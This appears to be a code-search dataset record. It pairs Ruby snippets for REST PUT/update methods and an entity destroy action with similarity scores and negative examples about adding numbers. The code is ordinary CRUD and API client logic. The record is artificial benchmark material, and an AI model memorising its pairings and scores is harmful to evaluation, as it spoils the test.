make_call(mk_conn(path, 'Content-Type': ctype,\n 'Accept': 'application/json'),\n :put, nil, body.to_json)\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def update\n @entity = Entity.find(params[:id])\n @entity.attr_vals.clear\n EntitiesHelper.setAttrVals(params[:attr_vals], @entity)\n @entity.attributes = params[:databaseformalizer_entity]\n \n respond_to do |format|\n if @entity.save\n format.html { redirect_to @entity, notice: 'Entity was successfully updated.'}\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update(resource,identifier,json)\n raise 'Not Yet Implemented'\n end", "def update\n render json: Company.update(params[\"id\"], params[\"company\"])\n end", "def put(path, data = {})\n request 'PUT', path, body: data.to_json\n end", "def update(*args)\n put(*args)\n end", "def update(*args)\n put(*args)\n end", "def update_aos_version(args = {}) \n id = args['id']\n temp_path = \"/aosversions.json/{aosVersionId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"aosversionId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update!(**args)\n @entity_type = args[:entity_type] if args.key?(:entity_type)\n @is_head_of_intent = args[:is_head_of_intent] if args.key?(:is_head_of_intent)\n @is_verb = args[:is_verb] if args.key?(:is_verb)\n @number = args[:number] if args.key?(:number)\n end", "def update!(**args)\n @data = args[:data] if args.key?(:data)\n @entity_id = args[:entity_id] if args.key?(:entity_id)\n end", "def put endpoint, data\n do_request :put, endpoint, data\n end", "def update!(**args)\n @date = args[:date] if args.key?(:date)\n @entity = args[:entity] if args.key?(:entity)\n @etag = args[:etag] if args.key?(:etag)\n @kind = args[:kind] if args.key?(:kind)\n @parameters = args[:parameters] if args.key?(:parameters)\n end", "def update\n respond_to do |format|\n if @student_entity.update(student_entity_params)\n format.json { render :show, status: :ok, location: @student_entity }\n else\n format.json { render json: @student_entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n put :update\n end", "def update\n @breadcrumb = 'update'\n @entity_type = EntityType.find(params[:id])\n @entity_type.updated_by = current_user.id if !current_user.nil?\n \n respond_to do |format|\n if @entity_type.update_attributes(params[:entity_type])\n format.html { redirect_to @entity_type,\n notice: (crud_notice('updated', @entity_type) + \"#{undo_link(@entity_type)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @entity_type.errors, status: :unprocessable_entity }\n end\n end\n end", "def put(type, info)\n path, info = type_info(type, :path), force_case(info)\n ida = type == :client ? 'client_id' : 'id'\n raise ArgumentError, \"info must include #{ida}\" unless id = info[ida]\n hdrs = headers\n if info && info['meta'] && (etag = info['meta']['version'])\n hdrs.merge!('if-match' => etag)\n end\n reply = json_parse_reply(@key_style,\n *json_put(@target, \"#{path}/#{Addressable::URI.encode(id)}\", info, hdrs))\n\n # hide client endpoints that are not quite scim compatible\n type == :client && !reply ? get(type, info['client_id']): reply\n end", "def update(entity_id, options)\n API::request(:patch, \"entities/#{entity_id}\", options)\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def rest_edit(path, options={}, &blk)\n callback = Proc.new { |*args|\n @object = yield(*args) or pass\n rest_params.each { |k, v| @object.send :\"#{k}=\", v unless k == 'id' }\n\n return 400, @object.errors.to_json unless @object.valid?\n\n @object.save\n rest_respond @object\n }\n\n # Make it work with `Backbone.emulateHTTP` on.\n put path, &callback\n post path, &callback\n end", "def put url, object = nil\n request url, HTTP::Put, object\n end", "def update!(**args)\n @entity = args[:entity] if args.key?(:entity)\n @id = args[:id] if args.key?(:id)\n @kind = args[:kind] if args.key?(:kind)\n @permissions = args[:permissions] if args.key?(:permissions)\n @self_link = args[:self_link] if args.key?(:self_link)\n @user_ref = args[:user_ref] if args.key?(:user_ref)\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def set_entity\n @entity = Entity.find(params[:id])\n end", "def update!(**args)\n @id = args[:id] if args.key?(:id)\n @name = args[:name] if args.key?(:name)\n @resource_name = args[:resource_name] if args.key?(:resource_name)\n @type = args[:type] if args.key?(:type)\n end", "def update!\n entity_json = [{ name: @source_file.entity_name, entries: expanded_entries }]\n\n response = @api_client.update_entities_request(entity_json)\n\n handle_response(response, :entity)\n end", "def update(action, entity)\n begin\n @sse.write entity.as_json, id: entity.id, event: action\n rescue IOError\n Rails.logger.info \"Closing stream on send error\"\n @sse.close\n end\n end", "def update_user_for_tenant(args = {}) \n id = args['id']\n temp_path = \"/tenants.json/{tenantId}/users/{userId}\"\n path = temp_path\nargs.keys.each do |key|\n if (key == \"tenantId\")\n args.delete(key)\n path = temp_path.gsub(\"{#{key}}\", id)\n end\nend\n puts \" PATH : #{path}\"\n put(path, args)\nend", "def update!(**args)\n @entity = args[:entity] if args.key?(:entity)\n @partition = args[:partition] if args.key?(:partition)\n @sampled_data_locations = args[:sampled_data_locations] if args.key?(:sampled_data_locations)\n @type = args[:type] if args.key?(:type)\n end", "def put(name,&block)\n build_resource(name, :put, &block)\n end", "def put(path, options={})\n request :put, path, options\n end", "def update_by_body\n @person = Person.find(person_update_params[:id])\n\n if @person.update_attributes(person_update_params)\n render json: { status: 'PUT Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error updating person', person: @person.errors }, status: :unprocessable_entity\n end\n end", "def update!(**args)\n @docid = args[:docid] if args.key?(:docid)\n @entity = args[:entity] if args.key?(:entity)\n end", "def perform_put(path, options = {})\n perform_request(:put, path, options)\n end", "def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend", "def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend", "def putPrivate_object( entity_id, data)\n params = Hash.new\n params['entity_id'] = entity_id\n params['data'] = data\n return doCurl(\"put\",\"/private_object\",params)\n end", "def update(entity, conditions, id)\n endpoint = \"/manage/#{entity}/#{id}\"\n api_post(endpoint, conditions)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, opts = {})\n request(:put, path, opts).body\n end", "def update!(**args)\n @entities = args[:entities] if args.key?(:entities)\n @entity_override_mode = args[:entity_override_mode] if args.key?(:entity_override_mode)\n @name = args[:name] if args.key?(:name)\n end", "def update\n render json: Item.update(params[\"id\"], params[\"item\"])\n end", "def put\n if(resource.collection?)\n Forbidden\n elsif(!resource.parent_exists? || !resource.parent_collection?)\n Conflict\n else\n resource.lock_check if resource.supports_locking?\n status = resource.put(request, response)\n response['Location'] = \"#{scheme}://#{host}:#{port}#{url_format(resource)}\" if status == Created\n response.body = response['Location']\n status\n end\n end", "def put\n RestClient.put(url, @body, @header) do |rso, req, res|\n setup(rso, req, res)\n end\n end", "def update!(**args)\n @entity_data = args[:entity_data] if args.key?(:entity_data)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def put(path, params = {})\n request(:put, path, params)\n end", "def update\n respond_to do |format|\n if @entity.update(entity_params)\n # cookies['update_entity_flag'] = { value: true, expires: 1.hour.from_now }\n format.html { redirect_to entities_corporates_stockholder_path( @entity.key ), notice: 'Entity was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def update\n if request.content_type == \"application/json\"\n # .update is like a \"update people set ...\" in sql\n if @person.update(person_params)\n render json: @person\n else\n render json: @person.errors, status: :not_found\n end\n else\n render status: :bad_request\n end\n end", "def api_put(path, data = {})\n api_request(:put, path, :data => data)\n end", "def update\n respond_to do |format|\n\n format.json { render json: Axis.find(params[:id]).update( name: params[:name]) }\n end\n\n # end\n end", "def create_method\n :put_json\n end", "def update\n keystone.update_tenant({:id=>params[:id],:name=>params[:name],:description=>params[:description],:enabled=>params[:enabled]})\n respond_to do |format|\n format.html { redirect_to tenants_path, :notice => 'Tenant was successfully updated.' }\n format.json { head :ok }\n end\n end", "def put(path, params={})\n request(:put, path, params)\n end", "def put(path, params={})\n request(:put, path, params)\n end" ]
[ "0.74229044", "0.72337383", "0.66664153", "0.66406566", "0.65877223", "0.64905095", "0.64310926", "0.64102554", "0.64021176", "0.6388", "0.63829696", "0.6382936", "0.6353384", "0.63443035", "0.63425696", "0.6306256", "0.6283912", "0.6255696", "0.62402546", "0.6229396", "0.62244344", "0.6222167", "0.62025374", "0.61879385", "0.61204475", "0.6096612", "0.60882837", "0.60804695", "0.6080181", "0.60722905", "0.6009045", "0.600589", "0.59888244", "0.59760517", "0.59653765", "0.59465617", "0.59260404", "0.59031034", "0.59025747", "0.58833253", "0.5873806", "0.58724207", "0.5871115", "0.5862382", "0.585266", "0.585266", "0.5842059", "0.58399725", "0.58384866", "0.58377725", "0.5827845", "0.5816685", "0.5809421", "0.5806003", "0.5798259", "0.5794189", "0.5764592", "0.5764592", "0.57615876", "0.5741559", "0.5738568", "0.5738568", "0.5738568", "0.5738568", "0.5738568", "0.5738568", "0.5738568", "0.5733232", "0.5712818", "0.5711017", "0.57052857", "0.570457", "0.5701668", "0.5700723", "0.56947464", "0.56914586", "0.56903917", "0.56834245", "0.5681928", "0.5681657", "0.56701225", "0.5656368", "0.5656368", "0.5656368", "0.56516147", "0.5647175", "0.56396484", "0.56344914", "0.5628526", "0.5622852", "0.5621122", "0.5621122", "0.5621046", "0.5620231", "0.561936", "0.56145513", "0.5612551", "0.5602681", "0.56005085", "0.56005085" ]
0.57755744
56
DELETE /entity/1 DELETE /entity/1.json
def destroy @entity = @klass.find(params[:id]) @entity.destroy respond_to do |format| format.html { redirect_to admin_entities_url(entity: @klass_path) } format.json { head :no_content } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def destroy\n @entity = Entity.find(params[:id])\n @entity.destroy\n\n respond_to do |format|\n format.html { redirect_to entities_url }\n format.json { head :no_content }\n end\n end", "def delete_entity(*entity)\n if entity.length > 1\n type, id = entity[0], entity[1]\n else\n type, id = entity[0].type, entity[0].id\n end\n service.delete(entity_path(type, id))\n nil\n end", "def destroy\n @entity.destroy\n respond_to do |format|\n format.html { redirect_to entities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @entity.destroy\n respond_to do |format|\n format.html { redirect_to entities_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @entity.destroy\n respond_to do |format|\n format.html { redirect_to entities_url, notice: 'Entity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @entity.destroy\n respond_to do |format|\n format.html { redirect_to entities_url, notice: 'Entity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @entity.destroy\n respond_to do |format|\n format.html { redirect_to entities_url, notice: 'Entity was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n \n @entity = Entity.find(params[:id])\n @entity.destroy\n \n respond_to do |format|\n format.html { redirect_to databaseformalizer_entities_url }\n format.json { head :no_content }\n end\n end", "def deleteEntityEmployee( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/employee\",params)\n end", "def destroy\n @entity = Entity.find(params[:id])\n\n respond_to do |format|\n if @entity.destroy\n format.html { redirect_to entities_url,\n notice: (crud_notice('destroyed', @entity) + \"#{undo_link(@entity)}\").html_safe }\n format.json { head :no_content }\n else\n format.html { redirect_to entities_url, alert: \"#{@entity.errors[:base].to_s}\".gsub('[\"', '').gsub('\"]', '') }\n format.json { render json: @entity.errors, status: :unprocessable_entity }\n end\n end\n end", "def delete\n client.delete(\"/#{id}\")\n end", "def destroy\n clients_delete(@entity)\n @entity.destroy\n respond_to do |format|\n format.html { redirect_to clients_path }\n format.json { render json: {success: true} }\n end\n end", "def deleteEntityList( gen_id, entity_id)\n params = Hash.new\n params['gen_id'] = gen_id\n params['entity_id'] = entity_id\n return doCurl(\"delete\",\"/entity/list\",params)\n end", "def destroy\n @entity.destroy\n respond_to do |format|\n format.html do\n redirect_to entity_path @entity.root? ? entities_url : @entity.parent,\n notice: 'Entity was successfully destroyed.'\n end\n format.json { head :no_content }\n end\n end", "def destroy\n cmd = Commands::Entities::DeleteEntity.new(uid: @entity.uid)\n execute(cmd)\n redirect_to entities_url, success: 'Entity was successfully deleted.'\n rescue => error\n redirect_to entities_url, warning: error_messages(error)\n end", "def deleteEntityImage( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/image\",params)\n end", "def deleteEntityAdvertiser( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/advertiser\",params)\n end", "def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend", "def deleteEntityTag( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/tag\",params)\n end", "def deleteEntityDocument( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/document\",params)\n end", "def delete\n render json: Post.delete(params[\"id\"])\n end", "def delete\n request(:delete)\n end", "def rm_create path, entity, data, msg\n\n rmp = nil\n re = rm_request path, entity => data\n chk (re.code!='201'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n rmp = JSON.parse(re.body)[entity] rescue nil\n chk !rmp, msg + \"\\n#{re.body.inspect}\\n\\n\"\n return rmp\n\nend", "def deleteEntityPhone( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/phone\",params)\n end", "def delete!\n request! :delete\n end", "def del_entity_with_http_info(opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug \"Calling API: DefaultApi.del_entity ...\"\n end\n # resource path\n local_var_path = \"/{uuid}\".sub('{format}','json')\n\n # query parameters\n query_params = {}\n\n # header parameters\n header_params = {}\n\n # HTTP header 'Accept' (if needed)\n local_header_accept = ['application/json']\n local_header_accept_result = @api_client.select_header_accept(local_header_accept) and header_params['Accept'] = local_header_accept_result\n\n # HTTP header 'Content-Type'\n local_header_content_type = ['application/json']\n header_params['Content-Type'] = @api_client.select_header_content_type(local_header_content_type)\n\n # form parameters\n form_params = {}\n\n # http body (model)\n post_body = nil\n auth_names = []\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path,\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#del_entity\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "def delete\n render json: Item.delete(params[\"id\"])\n end", "def destroy\n @conceptual_entity = ConceptualEntity.find(params[:id])\n @conceptual_entity.destroy\n\n respond_to do |format|\n format.html { redirect_to conceptual_entities_url }\n format.json { head :no_content }\n end\n end", "def delete\n render json: Alien.delete(params[\"id\"])\n end", "def destroy\n @client = @entity.project.client\n @entity.destroy\n\n respond_to do |format|\n format.html { redirect_to(client_entities_url(@client), :notice => \"Entity was successfully destroyed. #{undo_link}\") }\n end\n end", "def delete(path)\n RestClient.delete request_base+path\n end", "def delete!( opts = {} )\n http_action :delete, nil, opts\n end", "def delete path\n make_request(path, \"delete\", {})\n end", "def delete\n @delete ||= Verb.new do |verb|\n verb.entity :trip, :air, :lodging, :car, :profile, :rail, \\\n :transport, :cruise, :restaurant, :activity, :note, :map, \\\n :directions \\\n do |entity, id|\n do_request('delete', entity, {:id=>id}, nil)\n end\n end\n end", "def delete\n render json: Company.delete(params[\"id\"])\n end", "def delete endpoint\n do_request :delete, endpoint\n end", "def delete(*rest) end", "def destroy\n if @entity.destroy\n render :text => '{}', :status => :ok\n else\n respond_with(@entity, status: :unprocessable_entity, json: @entity.errors, entity: _get_class)\n end\n end", "def deleteEntitySocialmedia( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/socialmedia\",params)\n end", "def deleteEntityWebsite( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/website\",params)\n end", "def destroy\n @student_entity.destroy\n render json: {msg: 'deleted successfully'}, status: 200\n end", "def rm_get path, entity, msg\n\n rmp = nil\n re = rm_request path\n chk (re.code!='200'), msg + \"\\n#{re.code} #{re.msg}\\n\\n\"\n rmp = JSON.parse(re.body)[entity] rescue nil\n chk !rmp, msg + \"\\n#{re.body.inspect}\\n\\n\"\n return rmp\n\nend", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def delete()\n @api.do_request(\"DELETE\", get_base_api_path())\n end", "def destroy\n @fixture = Fixture.find(params[:id])\n @fixture.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete\n @entity = GetText::Db::Entity.find(params[:id])\n \n if @entity.update_attribute( :deleted, true )\n flash[:notice] = 'Entity has been deleted.'\n redirect_to :action => 'list'\n else\n flash[:notice] = '[Error] Updating failed.'\n redirect_to :back\n end\n end", "def delete!\n @resource.delete!\n end", "def deleteEntityEmail( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/email\",params)\n end", "def delete(*args)\n request(:delete, *args)\n end", "def deleteEntityLogo( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/logo\",params)\n end", "def deleteEntityPayment_type( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/payment_type\",params)\n end", "def delete\n if body.empty? && params[:id]\n client.delete(params)\n elsif body.empty?\n client.delete_by_query(params.merge(body: body.merge(ALL)))\n else\n client.delete_by_query(params.merge(body: body))\n end\n end", "def destroy\n animal = Animal.find(params[:id])\n animal.destroy\n head 204\n end", "def delete\n client.delete(url)\n @deleted = true\nend", "def delete\n url = prefix + \"delete\" + id_param\n return response(url)\n end", "def deleteEntityVideo( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/video\",params)\n end", "def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end", "def destroy\n resource.destroy\n render json: {success: true}, status: :ok\n end", "def destroy\n @entity_contact = EntityContact.find(params[:id])\n @entity_contact.destroy\n\n respond_to do |format|\n format.html { redirect_to entity_contacts_url }\n format.json { head :no_content }\n end\n end", "def delete\n start { |connection| connection.request http :Delete }\n end", "def destroy\n record = Asset.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def deleteEntityCategory( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/category\",params)\n end", "def cmd_delete argv\n setup argv\n uuid = @hash['uuid']\n response = @api.delete(uuid)\n msg response\n return response\n end", "def delete_from_entzumena\n headline = Headline.where({:source_item_type => params[:source_item_type], :source_item_id => params[:source_item_id]}).first\n if headline.destroy\n render :json => true, :status => 200\n else\n render :json => false, :status => :error\n end\n end", "def delete(entity)\n @dataset.delete(entity)\n end", "def destroy\n @<%= singular_table_name %> = <%= orm_class.find(class_name, \"params[:id]\") %>\n @<%= orm_instance.destroy %>\n\n respond_to do |format|\n format.html { redirect_to <%= index_helper %>_url }\n format.json { head :ok }\n end", "def destroy\n @entity_status.destroy\n respond_to do |format|\n format.html { redirect_to entity_statuses_url, notice: 'Entity status was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete(entity)\n @dataset.delete(\n _serialize(entity)\n )\n end", "def deleteEntityGroup( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/group\",params)\n end", "def delete(object)\n full_name = extract_full_name object\n post 'api/del', :id => full_name\n end", "def destroy\n @api_v1_todo.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete(path)\n repository = path.split(/\\//)[2]\n objectid = path.split(/\\//)[3]\n if storage_fetch(repository, objectid) && storage_delete(repository, objectid)\n ['200', {}, []]\n else\n ['404', {}, [\"Repository #{repository} or ObjectID #{objectid} not found: #{path}\"]]\n end\n end", "def delete\n @service.delete_entity(self)\n end", "def delete\n render json: User.delete(params[\"id\"])\n end", "def destroy_by_body\n @person = Person.find(person_delete_param[:id])\n id = @person.id\n\n if @person.destroy\n render json: { status: 'DELETE Success' }, status: :ok\n else\n render json: { status: 'Error', message:'Error deleting person', person: @person.errors }, status: :unprocessable_entity\n end\n end", "def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n @v1_chore = Chore.where(id: params[:id])\n if @v1_chore.destroy\n head(:ok)\n else\n head(:unprocessable_entity)\n end\n end", "def destroy\n @one = One.find(params[:id])\n @one.destroy\n\n respond_to do |format|\n format.html { redirect_to ones_url }\n format.json { head :no_content }\n end\n end", "def deleteEntityDescription( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/description\",params)\n end", "def destroy\n @item.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @model.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def delete(*args)\n prepare_request(:delete, args)\n @@client.add(:delete, @path, *args)\n end", "def delete_aos_version(args = {}) \n delete(\"/aosversions.json/#{args[:aosVersionId]}\", args)\nend", "def destroy\n @anything.destroy\n respond_to do |format|\n format.html { redirect_to anythings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n client=Client.find_by_id(params[:id])\n if client != nil\n if client.destroy\n head 204\n end\n else\n head 404\n end\n end", "def destroy\n relationship = Relationships.find(params[:id])\n relationship.destroy\n head 204\n end", "def destroy\n @verb.destroy\n respond_to do |format|\n format.html { redirect_to verbs_url }\n format.json { head :no_content }\n end\n end", "def delete\n api(\"Delete\")\n end", "def destroy\n @record = Asset.find(params[:id])\n @record.trash\n respond_to do |format| \n format.json { head :no_content }\n end\n end", "def destroy\n get_instance.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy(params = {})\n client.delete(\"#{endpoint(params)}/#{attributes[:id]}\")\n end", "def do_delete(uri = \"\")\n @connection.delete do |req|\n req.url uri\n req.headers['Content-Type'] = 'application/json'\n end\n end", "def destroy\n @person = Person.find(params[:id])\n @person.destroy\n respond_to do |format|\n format.json { render json: {}, status: :ok }\n end\n end", "def destroy\n \n keystone.delete_tenant(keystone.get_tenant(params[:id])[:id])\n\n respond_to do |format|\n format.html { redirect_to tenants_url }\n format.json { head :ok }\n end\n end", "def destroy\n Audit.find(params[:id]).destroy\n head :no_content\n end", "def destroy\n @entity_type.destroy\n respond_to do |format|\n format.html { redirect_to entity_types_url, notice: 'Entity type was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def delete\n\n end", "def destroy\n @entity_subtype = EntitySubtype.find(params[:id])\n @entity_subtype.destroy\n\n respond_to do |format|\n format.html { redirect_to entity_subtypes_url }\n format.json { head :no_content }\n end\n end" ]
[ "0.76068944", "0.7589338", "0.7492199", "0.74920887", "0.7202817", "0.7202817", "0.7202817", "0.7194305", "0.71826315", "0.7176379", "0.7156028", "0.7155791", "0.7008809", "0.69910926", "0.69721967", "0.68656933", "0.68540263", "0.6846777", "0.68382007", "0.68377346", "0.6837595", "0.6837116", "0.6837077", "0.6827865", "0.6825506", "0.6819832", "0.68142533", "0.6803418", "0.67969465", "0.6793893", "0.6750512", "0.6746745", "0.6746566", "0.67410743", "0.6710602", "0.6700579", "0.6686513", "0.66830784", "0.66796803", "0.6678617", "0.6668856", "0.66601974", "0.66575664", "0.66575664", "0.66575664", "0.66575664", "0.6643308", "0.66427445", "0.6637254", "0.66357887", "0.66282785", "0.662463", "0.6616683", "0.6616661", "0.66160697", "0.6614984", "0.66075665", "0.66065115", "0.66012436", "0.66012436", "0.66003335", "0.6584765", "0.65843576", "0.65836936", "0.65761715", "0.65743905", "0.6571601", "0.65625113", "0.65623546", "0.6553763", "0.65407056", "0.6538622", "0.65316427", "0.6529812", "0.65244657", "0.6520648", "0.6519861", "0.6514755", "0.65143615", "0.65133953", "0.6507886", "0.65068233", "0.6504725", "0.6503403", "0.6503369", "0.65029186", "0.65002066", "0.6494864", "0.6493383", "0.64876205", "0.6485407", "0.64810413", "0.647846", "0.64776593", "0.6472217", "0.6469005", "0.64684725", "0.646651", "0.6459506", "0.6456836" ]
0.68121254
27
=begin Add the number to an internal data structure.. :type number: Integer :rtype: Void =end
def add(number) if @set[number] @set[number] = @set[number]+1 else @set[number] = 1 end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def add_number(number)\n self.numbers << number\n end", "def add(number)\n if @map.key?(number)\n @map[number] += 1\n else\n @map[number] = 1\n end\n end", "def add(number)\n set_value(@value + number.to_i)\n end", "def add_num(num)\n @lo.add(num)\n \n @hi.add(@lo.poll)\n \n if @lo.size < @hi.size\n @lo.add(@hi.poll)\n end\n end", "def add_num(num)\n @array.insert(get_index(num), num)\n end", "def number(name, number)\n push(name, number)\n end", "def add num = 1\n @ec.add reg, size * num\n end", "def appendstructure(number)\n\tputs number\nend", "def add_num(num)\n index = @list.bsearch_index { |n| n <= num } || @list.size\n @list.insert(index, num)\n end", "def number=(number)\n @number = number\n @target = number\n update_numbers\n end", "def append (number)\n # create new node\n this_node = Node.new(number)\n # make head if none\n if head.nil?\n return @head = this_node\n end\n\n # else, loop to end of list\n current = @head\n until current.next_node.nil?\n current = current.next_node\n end\n\n # make last node point to new node\n current.next_node = this_node\n\n # update tail to be this_node\n @tail = this_node\n end", "def add(number)\n path_str = \"/api/v1/#{@list_type_path}/#{number.id}/add.json\"\n #puts \"Add to #{@account_id}:#{@source_id} -> #{number.id} -> #{path_str}\"\n # accounts/25 /sources/5012 /numbers\n # /api/v1/accounts/:account_id/sources/:source_id/numbers/:id/add\n res = self.class.post(path_str, :body => {}.merge(:auth_token => @token))\n if res && res['status'] == 'success'\n CTM::Source.new(res['source'], @token)\n else\n puts res.inspect\n raise CTM::Error::Add.new(res[\"reason\"])\n end\n end", "def add_quantity(number)\n @quantity += number\n end", "def add_tracking_number(number)\n root << element_with_value('TrackingNumber', number)\n end", "def add( file, number )\n\t\t@files[ number ] = file\n\tend", "def add(value)\n raise \"Bad things happen\" if @size == 10\n @storage[@size] = value\n @size += 1\n end", "def add_num(num)\n insert_index = @nums.bsearch_index{|val| val >= num}\n if insert_index.nil?\n @nums.push(num)\n else\n @nums.insert(insert_index, num)\n end\n end", "def add_phone_number(type, number)\n phone_number = PhoneNumber.new\n phone_number.type = type\n phone_number.number = number\n #once we have that we need to append it to the internal @phone_numbers array with:\n phone_numbers.push(phone_number)\n end", "def add(num)\n i = @array.bsearch_index { |ele| ele >= num } || @array.size\n @array.insert(i, num)\n end", "def add_number\n return unless %w[techreport manual].include? @bib.type\n\n did = @bib.docidentifier.detect { |i| i.primary == true }\n did ||= @bib.docidentifier.first\n @item.number = did.id if did\n end", "def +(n) self.class.from_integer(to_i + n) end", "def add(value)\n rause \"Bad Things\" if @size == @storage.length\n @storage[@size] = value\n @size += 1\n end", "def add(value)\n @add_at_next = 0 unless @add_at_next\n add_at @add_at_next, value\n end", "def add(name, value = current_value)\n type.add(name.to_s, Integer(value))\n @current_value = Integer(value) + 1\n end", "def qty_to_add=(num)\n ### TODO this method needs a history of who did what\n add_count_on_hand(num)\n end", "def add_num(arr, num)\r\n\t# Your code here\r\nend", "def add(value)\n @q.unshift(value)\n if @h1[value]\n @h1[value] = @h1[value] + 1\n else\n @h1[value] = 1\n end \n end", "def initialize(number)\n \n @@all << self\n end", "def number=(new_number)\n self.assert_non_negative(new_number)\n @number = new_number\n end", "def append(n)\r\n self.value = self.value.to_s + n.to_s\r\n end", "def update(n)\n @uncounted.add(n)\n end", "def add_add_on_nr(key, to_add)\n if (@is_commit)\n raise RuntimeError.new('No further request supported after a commit!')\n end\n @requests << {'add_on_nr' => {key => to_add}}\n self\n end", "def addsorted(number)\n current = @head\n while (current.next != nil && current.next.data <= number)\n current = current.next\n end\n newnode = Node.new(number)\n newnode.next = current.next\n current.next = newnode\n end", "def write_number(numeric)\n\t\twrite_byte(0)\n\t\twrite_double(numeric)\n\tend", "def initialize(num)\n @number = num\n end", "def add(p0) end", "def add(value)\n \n end", "def add(value)\n\tend", "def push(num)\n namespace + '_push_' + num.to_s\n end", "def initialize(number)\n 